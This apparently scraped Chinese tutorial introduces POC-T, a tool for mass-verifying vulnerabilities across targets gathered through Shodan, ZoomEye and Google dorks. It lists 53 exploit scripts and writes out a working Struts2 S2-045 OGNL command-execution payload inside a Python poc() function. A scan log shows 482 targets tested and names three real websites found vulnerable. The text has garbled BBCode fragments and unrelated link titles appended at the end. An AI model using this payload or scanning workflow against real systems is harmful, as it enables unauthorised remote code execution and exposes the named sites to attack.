POC-T神器介绍

批量验证要解决的三个关键点:

数据:数据怎么来? 
处理:逻辑是什么? 
 并发:如何实现?

安装过程:

git clone [url]https://github.com/Xyntax/POC-T[/url]pip install -r requirement.txtpython POC-T.py

数据:

数据来源很丰富,也很贴心。包括单个目标(-iS)、文件导入(-iF)、搜索引擎接口,包括谷歌(-aG)、Zoomeye(-aZ)、撒旦(-aS),这些接口的key设置支持运行时手动输入,也支持预先设置,在根目录下的toolkit.conf中设置,谷歌还支持代理,以便扶墙,是不是很贴心,参数–limit来限制搜索数目。其他来源参考帮助。

处理逻辑:

逻辑验证也就是poc,在script已经有很多作者维护的poc脚本,可以利用参数–show来列出poc脚本名

E:\工具管理\漏洞利用\POC-T-2.0>POC-T.py --show
[*] Script Name (total:53)activemq-uploadactivemq-weakpassbingcbrute-examplecdn-detectconfluence-traversalfastcgi-rcefiyo2.0.7-getshellglassfish-traversaljboss-rcejetspeed-rest-unauthjoomla-registrationpro-sqlijoomla-videoflow-sqlijoomla-videogallerylite-sqlikubernetes-unauthmaccms8-rcememcached-unauthmetinfo-504-sqlimongodb-unauthnavis-webaccess-sqliopensshd-user-enumphpcms9.6.0-getshellphpcms9.6.0-sqliphpmyadmin-auth-rceredis-cron-getshellredis-sshkey-getshellredis-unauthredis-web-proberesin-doc-traversalrsync-weakpasssamsoftech-admin-bypassshiro-deserial-rcesiemens-camera-getpwdsolr-unauthspider-examplestruts2-devmodestruts2-s2032struts2-s2045testvbulletin-ssrfvote-exampleweblogic-ssrf-netmapweblogic-wlswp-4.4-ssrfwp-4.7-userinfowp-4.7.1-restapiwp-bonkersbeat-filedownloadwp-forcedownloadwp-ypo-filedownloadzabbix-jsrpc-mysql-expzabbix-jsrpc-sqlizabbix-weakpasszonetransfer

并发实现:

并发的实现作者自己的框架,我们作为使用者不必太纠结原理,只要知道支持多线程(-eT)Gevent(-eG)两种并发模式就可以了。POC-T的效率非常之高,根据笔者测试,设置线程为30(默认10),测试2000+个目标不到3分钟就可以完成。最后的命令格式大概是这样子Python POC-T.py –s poc –aZ “port:22” –limit 100Python POC-T.py –s poc –aG “url:index.php” –limit 100 –gproxy “socket5 127.0.0.1 1080”Python POC-T.py –s poc –iS http://host//login.php?id=1Python POC-T.py –s poc –iF /root/pentest/vul.txt

POC脚本编写:

为什么说POC-T很轻便呢,我认为就体现在poc脚本编写上,所有的验证只需要一个poc()函数就可以,成功就返回True或者自定义信息,失败就返回False,除此之外没有任何限制。没有实例,一切文章都是纸老虎。下面我们就以前段时间火爆的struts2-s045漏洞为例,详细说下poc的编写,在script目录下有个test.py就是poc脚本的一个demo,就在这个基础上编写我们的poc。

网上爆出的验证代码为def poc(url):register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request = urllib2.Request(url,datagen,headers=header)response = urllib2.urlopen(request)body=response.read()return body这段代码,大概意思就是执行了“echo nMask”,也就是说返回的body中如果有字符串nMask就意味着漏洞存在,否则不存在。那么我们的poc代码就可以这么写import urllib2[/size][/font][align=left][font=宋体][size=3]from poster.encode import multipart_encodefrom poster.streaminghttp import register_openersdef poc(url):register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"try:request = urllib2.Request(url,datagen,headers=header)response = urllib2.urlopen(request,timeout=5)body = response.readlines()[0:2]except:return Falseif "nMask" in body:return Tureelse:return False建议在脚本中处理Exception,如果线程运行中发现Exception,将使框架终止全部任务并打印错误信息。由于网络请求中经常出现连接中断等错误,一种简单的做法是:def poc(input_str)try:...全部脚本逻辑...except:return False

插件:

C:\Users\49974>cd E:\工具管理\漏洞利用\POC-T-2.0C:\Users\49974>e:E:\工具管理\漏洞利用\POC-T-2.0>pip install -r requirement.txt
Requirement already satisfied: requests in c:\python27\lib\site-packages (from -r requirement.txt (line 1))
Collecting gevent (from -r requirement.txt (line 2))Downloading gevent-1.2.2-cp27-cp27m-win_amd64.whl (637kB)100% |████████████████████████████████| 645kB 48kB/s
Collecting shodan (from -r requirement.txt (line 3))Downloading shodan-1.7.7.tar.gz (42kB)100% |████████████████████████████████| 51kB 81kB/s
Collecting google-api-python-client (from -r requirement.txt (line 4))Downloading google_api_python_client-1.6.5-py2.py3-none-any.whl (53kB)100% |████████████████████████████████| 61kB 67kB/s
Collecting greenlet>=0.4.10 (from gevent->-r requirement.txt (line 2))Downloading greenlet-0.4.13-cp27-cp27m-win_amd64.whl
Requirement already satisfied: click in c:\python27\lib\site-packages (from shodan->-r requirement.txt (line 3))
Collecting click-plugins (from shodan->-r requirement.txt (line 3))Downloading click-plugins-1.0.3.tar.gz
Collecting colorama (from shodan->-r requirement.txt (line 3))Downloading colorama-0.3.9-py2.py3-none-any.whl
Collecting XlsxWriter (from shodan->-r requirement.txt (line 3))Downloading XlsxWriter-1.0.2-py2.py3-none-any.whl (139kB)100% |████████████████████████████████| 143kB 44kB/s
Requirement already satisfied: six<2dev,>=1.6.1 in c:\python27\lib\site-packages (from google-api-python-client->-r requirement.txt (line 4))
Collecting uritemplate<4dev,>=3.0.0 (from google-api-python-client->-r requirement.txt (line 4))Downloading uritemplate-3.0.0-py2.py3-none-any.whl
Collecting oauth2client<5.0.0dev,>=1.5.0 (from google-api-python-client->-r requirement.txt (line 4))Downloading oauth2client-4.1.2-py2.py3-none-any.whl (99kB)100% |████████████████████████████████| 102kB 98kB/s
Collecting httplib2<1dev,>=0.9.2 (from google-api-python-client->-r requirement.txt (line 4))Downloading httplib2-0.11.0.tar.gz (216kB)100% |████████████████████████████████| 225kB 32kB/s
Collecting rsa>=3.1.4 (from oauth2client<5.0.0dev,>=1.5.0->google-api-python-client->-r requirement.txt (line 4))Downloading rsa-3.4.2-py2.py3-none-any.whl (46kB)100% |████████████████████████████████| 51kB 19kB/s
Requirement already satisfied: pyasn1-modules>=0.0.5 in c:\python27\lib\site-packages (from oauth2client<5.0.0dev,>=1.5.0->google-api-python-client->-r requirement.txt (line 4))
Requirement already satisfied: pyasn1>=0.1.7 in c:\python27\lib\site-packages (from oauth2client<5.0.0dev,>=1.5.0->google-api-python-client->-r requirement.txt (line 4))
Installing collected packages: greenlet, gevent, click-plugins, colorama, XlsxWriter, shodan, uritemplate, rsa, httplib2, oauth2client, google-api-python-clientRunning setup.py install for click-plugins ... doneRunning setup.py install for shodan ... doneRunning setup.py install for httplib2 ... done
Successfully installed XlsxWriter-1.0.2 click-plugins-1.0.3 colorama-0.3.9 gevent-1.2.2 google-api-python-client-1.6.5 greenlet-0.4.13 httplib2-0.11.0 oauth2client-4.1.2 rsa-3.4.2 shodan-1.7.7 uritemplate-3.0.0E:\工具管理\漏洞利用\POC-T-2.0>POC-T.py -h
usage: python POC-T.py -s bingc -aZ "port:8080"powered by cdxy <mail:i@cdxy.me>ENGINE:-eT                   Multi-Threaded engine (default choice)-eG                   Gevent engine (single-threaded with asynchronous)-t NUM                num of threads/concurrent, 10 by defaultSCRIPT:-s NAME               load script by name (-s jboss-rce) or path (-s./script/jboss.py)TARGET:-iS TARGET            scan a single target (e.g. www.wooyun.org)-iF FILE              load targets from targetFile (e.g../data/wooyun_domain)-iA START-END         generate array from int(start) to int(end) (e.g.1-100)-iN IP/MASK           generate IP from IP/MASK. (e.g. 127.0.0.0/24)API:-aZ DORK, --zoomeye DORKZoomEye dork (e.g. "zabbix port:8080")-aS DORK, --shodan DORKShodan dork.-aG DORK, --google DORKGoogle dork (e.g. "inurl:admin.php")-aF DORK, --fofa DORKFoFa dork (e.g. "banner=users && protocol=ftp")--limit NUM           Maximum searching results (default:10)--offset OFFSET       Search offset to begin getting results from(default:0)--search-type TYPE    [ZoomEye] search type used in ZoomEye API, web or host(default:host)--gproxy PROXY        [Google] Use proxy for Google (e.g. "sock5 127.0.0.17070" or "http 127.0.0.1 1894"OUTPUT:-o FILE               output file path&name. default in ./output/-oF, --no-file        disable file output-oS, --no-screen      disable screen outputMISC:--single              exit after finding the first victim/password.--show                show available script names in ./script/ and exit--browser             Open notepad or web browser to view report after taskfinished.SYSTEM:-v, --version         show program's version number and exit-h, --help            show this help message and exit--update              update POC-T from github sourceE:\工具管理\漏洞利用\POC-T-2.0>POC-T.py --show
[*] Script Name (total:53)activemq-uploadactivemq-weakpassbingcbrute-examplecdn-detectconfluence-traversalfastcgi-rcefiyo2.0.7-getshellglassfish-traversaljboss-rcejetspeed-rest-unauthjoomla-registrationpro-sqlijoomla-videoflow-sqlijoomla-videogallerylite-sqlikubernetes-unauthmaccms8-rcememcached-unauthmetinfo-504-sqlimongodb-unauthnavis-webaccess-sqliopensshd-user-enumphpcms9.6.0-getshellphpcms9.6.0-sqliphpmyadmin-auth-rceredis-cron-getshellredis-sshkey-getshellredis-unauthredis-web-proberesin-doc-traversalrsync-weakpasssamsoftech-admin-bypassshiro-deserial-rcesiemens-camera-getpwdsolr-unauthspider-examplestruts2-devmodestruts2-s2032struts2-s2045testvbulletin-ssrfvote-exampleweblogic-ssrf-netmapweblogic-wlswp-4.4-ssrfwp-4.7-userinfowp-4.7.1-restapiwp-bonkersbeat-filedownloadwp-forcedownloadwp-ypo-filedownloadzabbix-jsrpc-mysql-expzabbix-jsrpc-sqlizabbix-weakpasszonetransferE:\工具管理\漏洞利用\POC-T-2.0>POC-T.py -s struts2-s2045 -iF C:\Users\49974\Desktop\st2.txt__/____     ____     _____           ______/ __// __ \   / __ \   / ___/   ____   /__  __/_// /_/ /  / /_/ /  / /___   /___/     / // /___/   \____/   \____/            / /
/_/                                  /_/{ Version 2.0.5 by cdxy mail:i@cdxy.me }[+] Load custom script: struts2-s2045.py
[+] Initialize targets...
[+] Total: 482
[+] Set the number of concurrent: 10
[S2-045]http://www.m56.cn/login.action
[S2-045]http://oa-sms.com/login.login.action
[S2-045]http://wzxt.zdwlcloud.com/Login.action3 found | 0 remaining | 482 scanned in 83.58 seconds
[*] System exit.E:\工具管理\漏洞利用\POC-T-2.0>

同时struts2-045漏洞测出了两种结果,经过测试poc-t出来的结果较为准确

其他功能:

如果我们搞明白了批量需要解决的那三个关键问题,就会发现这个框架不仅可以用作poc批量验证,还可以用作它途,只要原理一样就可以。比如爆破、爬虫、采集等。作者也给出了相应实例

后续研究:

使用

  • poc-t.py --batch -iF 1.txt 使用fuzz脚本
  • poc-t.py -eT -t 20 -s xx -iF 1w.txt

插件

  • waf 检测waf 并返回没有waf的url
  • craw 爬取链接中的相关地址
  • vulscan 检测sql注入漏洞
  • portscan 端口扫描,检测弱口令服务

其他优秀的poc批量验证工具:

Pocsuite:  https://github.com/knownsec/Pocsuite 
Pentestdb:  https://github.com/alpha1e0/pentestdb

s0m3poc:  https://github.com/s0m30ne/s0m3poc

原文

POC-T批量poc验证工具相关推荐

  1. 漏洞应急响应之批量poc验证

    1.文章难易度 [★★★]  2.文章知识点: python,poc验证;  3.文章作者: 野驴  4.本文参与 i春秋学院原创文章奖励计划,未经许可禁止转载! 0x01前言 当互联网爆出高危漏洞, ...

  2. YApi接口管理平台远程代码执行漏洞(含批量POC)

    0x00简介 YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE.iOS和Android工程师共同组成的最具想象力.创造力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的.打通 ...

  3. 华为S5700系列交换机账号密码批量验证工具及批量备份工具使用

    由于公司交换机都是华为S5700系列的交换机,前一段时间,由于放假时间比较长,所以对公司的交换机配置进行了备份,由于之前考虑不周,导致花费了大量的时间对每一台交换机都进行手动备份,实在太浪费时间了.鉴 ...

  4. web 漏洞扫描和验证工具:Vulmap使用

    文章目录 项目概述 项目简介 项目事项表 漏洞探测使用 主要参数说明 项目试运行 项目概述 项目简介 Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备 ...

  5. 一款功能强大的Web漏洞扫描和验证工具(Vulmap)

    一款功能强大的Web漏洞扫描和验证工具(Vulmap) 文章目录 一款功能强大的Web漏洞扫描和验证工具(Vulmap) 前言 一.Vulmap 二.工具安装 三.工具选项 四.工具使用样例 五.支持 ...

  6. 电商前台模板中文html5_跨境电商平台上产品如何上传?虾皮新版批量上传工具使用指南分享...

    大家好,这里是天师跨境,今天来为电商新人们解答一下关于如何在跨境电商平台上上传产品的疑惑,顺便介绍一下虾皮跨境平台的新版批量上传工具是如何使用的. 在跨境电商平台上开店的新手们在入驻成功后,一般最先面 ...

  7. 批量激活管理工具VAMT 3.0的安装与基本使用方法简介

    VAMT(Volume Activation Management Tool)是微软开发的批量激活管理工具,它可让网络管理员及其他 IT 专业人员自动管理和集中管理 Windows®.Microsof ...

  8. BPFT1.7,全名BaiduPanFilesTransfers免费的百度网盘批量转存工具【精】

    BaiduPanFilesTransfers 介绍使用 免费的百度网盘批量转存工具,基于Python 3.8+Tkinter 详细介绍使用请访问:小众软件 缺点及推荐 目前缺点是不能传大数量的链接!目 ...

  9. 批量拿webshell工具【最新】

    说到批量拿webshell工具[最新]内部有多个漏洞,可自动进行url采集,自动爬虫多个引擎和友情链接url,过狗一句话,轻松日出上千. 详情可看:https://e1.pcloud.link/pub ...

  10. 百度云盘批量转存工具

    更新时间:2022/4/21 2022.03.21 ver1.1 1.修复了一个转存失败200025的问题 2.修复了一个重复创建文件夹的问题 import re import json import ...

最新文章

  1. wcf客户端捕获异常
  2. php js混淆加密工具,求混淆js加密算法解密
  3. 5000 字的 Spring MVC 全面大总结
  4. linux netfilter 过滤数据包,Netfilter-iptabes报文过滤框架(一)
  5. c 结构体在声明时赋值_C/C++编程笔记:C++入门知识,C++多态性和虚函数解析
  6. *【HDU - 1517】【POJ - 2505】A Multiplication Game(博弈,递推找规律或SG函数)
  7. C# 6.0语法新特性体验(二)
  8. .net pdf转图片_PDF转图片怎么做?PDF一键转图片!
  9. 入门 | 使用 SQL 构建一个关系数据库比你想的更容易
  10. windows Server 2008+iis 7.5 部署应用程序
  11. PHP设计模式——状态模式
  12. C++的三种交换数值的方式(值传递、地址传递、引用传递)
  13. 中缀表达式 转成 后缀表达式
  14. Java面试复习大纲2.0(持续更新)
  15. 兼容性问题以及解决方案
  16. Android OTA本地自动升级实现
  17. 阿里云MaxComputer SQL学习之DDL
  18. python中idle什么意思_始学Python:IDLE环境介绍
  19. 2020计算机保研夏令营网信中心华师大浙软面经
  20. 床帘机器人_如何打造一个更舒适更智能的大学宿舍?

热门文章

  1. 爱荷华大学计算机科学专业,2015 U.S News计算机科学专业排名(不知道有没有伙伴在找)...
  2. 指数型基金基本信息 API 数据接口
  3. 如何理解范德波尔方程
  4. 技术攻关:从零到精通
  5. snapchat注册不到_如何将链接添加到您的Snapchat快照
  6. 关于O、Θ、Ω、o、ω等数学符号
  7. Python 从入门到入魔
  8. 计算机网络 | 划分子网
  9. 股票分析之融资买入分析
  10. 用计算机为题目写作400字,以电脑为话题的作文